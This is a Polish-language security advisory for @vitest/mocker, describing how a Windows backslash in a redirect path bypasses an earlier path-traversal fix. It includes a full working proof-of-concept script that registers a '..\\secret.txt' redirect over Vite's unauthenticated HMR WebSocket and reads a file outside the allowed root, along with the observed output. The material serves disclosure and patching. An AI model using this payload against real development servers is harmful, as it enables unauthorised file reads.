Vitest: Obejście listy dozwolonych przekierowań w @vitest/mocker poprzez znaki ukośnika odwrotnego w systemie Windows
Podsumowanie
Poprawka podatności path traversal wydana dla GHSA-82fw-gwwq-j7x9 może zostać pominięta w systemie Windows poprzez użycie ukośnika odwrotnego (backslash) w ścieżce adresu URL przekierowania.
Poprawiony kod łączy kontrolowaną przez atakującego ścieżkę URL z katalogiem głównym Vite za pomocą node:path/posix, a następnie przekazuje wynikowy ciąg znaków do mechanizmu sprawdzania listy dozwolonych plików Vite. W systemie Windows wartość taka jak C:/project/root/..\secret.txt zachowuje ..\ podczas łączenia POSIX i rozpoczyna się od dozwolonego katalogu głównego, w związku z czym lista dozwolonych ją akceptuje. Późniejsze wywołanie readFile() korzysta z semantyki systemu plików Windows, gdzie ukośnik odwrotny jest separatorem ścieżki, i odczytuje sąsiadujący plik znajdujący się poza skonfigurowanym katalogiem głównym.
Problem został odtworzony na opublikowanych pakietach @vitest/mocker w obu załatanych liniach wydań:
@vitest/mocker@4.1.11@vitest/mocker@5.0.0
Kod źródłowy main w commicie 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 wykazuje identyczne zachowanie.
Poprawki
Problem rozwiązano w @vitest/mocker 5.0.3, wydanym 2026-09-30 (PR #11377) oraz backportowano do 4.1.12. Rejestracja przekierowań konwertuje teraz ukośniki odwrotne w ścieżce URL na zwykłe ukośniki przed połączeniem ścieżki z katalogiem głównym, dzięki czemu ..\ rozwiązuje się tak samo jak ../ i weryfikacja listy dozwolonych odrzuca żądanie.
Powiązanie z GHSA-82fw-gwwq-j7x9
Jest to obejście wdrożonej wcześniej poprawki, a nie odrębna ścieżka podatności. Wykorzystuje tę samą rejestrację przekierowań vitest:interceptor:register oraz ten sam mechanizm odczytu plików co pierwotny komunikat. Sekwencja przejścia ze zwykłym ukośnikiem jest odrzucana po poprawce, podczas gdy jej odpowiednik z ukośnikiem odwrotnym w systemie Windows jest akceptowany.
Pierwotny komunikat oznaczał wersje 4.1.11 i 5.0.0-rc.2 jako naprawione. Nowo dotknięte zakresy wersji wynikające z niepełnej poprawki to:
4.1.11>=5.0.0-rc.2, <5.0.3
Starsze podatne wersje pozostają objęte przez GHSA-82fw-gwwq-j7x9.
Przyczyna źródłowa
packages/mocker/src/node/interceptorPlugin.ts importuje join z node:path/posix. Rejestracja przekierowań wykonuje obecnie odpowiednik:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
Zarejestrowana wartość trafia następnie do:
readFile(mock.redirect, 'utf-8')
Weryfikacja listy dozwolonych Vite oczekuje znormalizowanej, bezwzględnej ścieżki w systemie plików. W systemie Windows łączenie ścieżek metodą POSIX nie normalizuje ukośników odwrotnych, jednak readFile interpretuje je jako separatory. Weryfikacja i docelowe wywołanie odczytu interpretują ten sam ciąg znaków odmiennie.
Uwierzytelniony mechanizm zapasowy browser RPC w packages/browser/src/node/rpc.ts nie jest podatny: łączy ścieżkę za pomocą pathe, co konwertuje ukośniki odwrotne na zwykłe ukośniki przed weryfikacją dostępu. Odtworzenie błędu celuje w publiczną ścieżkę rejestracji WebSocket modułu mocker.
Warunki wstępne i wpływ
Klient mający dostęp sieciowy do serwera Vite za pośrednictwem publicznej rejestracji WebSocket mockerPlugin lub samodzielnej interceptorPlugin może zarejestrować mock przekierowania. W systemie Windows klient może następnie zażądać zarejestrowanego modułu i odczytać plik spoza katalogu server.fs.allow, do którego dostęp posiada konto procesu Vitest/Vite. Tryb Vitest Browser Mode nie rejestruje tych procedur obsługi WebSocket w podatnych wersjach.
Odtworzenie luki korzysta z nieuwierzytelnionego połączenia Vite HMR WebSocket oraz standardowego żądania HTTP GET. Nie wywołuje wewnętrznego API transform wtyczki. Praktyczna dostępność sieciowa odpowiada warunkom wdrożeniowym opisanym w pierwotnym komunikacie; domyślne serwery deweloperskie nasłuchujące wyłącznie na pętli zwrotnej (loopback) są odpowiednio mniej narażone.
Odtworzenie luki
Testowano na maszynie GitHub-hosted z systemem Windows Server 2025 i środowiskiem Node.js 22. Test tworzy wyłącznie tymczasowe pliki syntetyczne: katalog główny Vite oraz sąsiadujący plik secret.txt zawierający wartość kontrolną (canary).
Zainstaluj zależności dla dowolnej z podatnych linii:
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs
poc.mjs:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}
Wynik zaobserwowany przy @vitest/mocker@4.1.11:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
Identyczny rezultat zaobserwowano przy @vitest/mocker@5.0.0.
Obejmuje to dwie przydatne próby kontrolne:
traversal:../secret.txtjest odrzucane i zwraca 404, co potwierdza działanie opublikowanej poprawki dla zwykłych ukośników.traversal:..\secret.txtzwraca 200 oraz dokładną treść pliku kontrolnego spoza katalogu głównego, potwierdzając obejście za pomocą separatora Windows zamiast niepowiązanej trasy lub odpowiedzi statycznej.
Co trzeba zrobić
Zaktualizuj do @vitest/mocker 5.0.3, 4.1.12 lub nowszej wersji. Poprawka konwertuje ukośniki odwrotne w ścieżkach URL na zwykłe ukośniki przed ich połączeniem z katalogiem głównym, co uniemożliwia obejście listy dozwolonych.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @vitest/mocker | >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 | 4.1.12, 5.0.3 |
Odnośniki
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp
- https://nvd.nist.gov/vuln/detail/CVE-2026-112950
- https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35
- https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473
- https://github.com/vitest-dev/vitest
- https://github.com/vitest-dev/vitest/releases/tag/v4.1.12
- https://github.com/vitest-dev/vitest/releases/tag/v5.0.3
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N- Słabość (CWE)
CWE-22- Platforma
- npm
- Paczka
@vitest/mocker- Ujawniono
- 21.10.2026
- Aktualizacja
- 22.10.2026 00:10
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-xp26-3454-mjgp - CC BY 4.0
Historia podatności: @vitest/mocker
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 09.2026 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Średnia 2
Ujawnienia w latach
- 2026: 2
-
Vitest: Obejście listy dozwolonych przekierowań w @vitest/mocker poprzez znaki ukośnika odwrotnego w systemie Windows ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.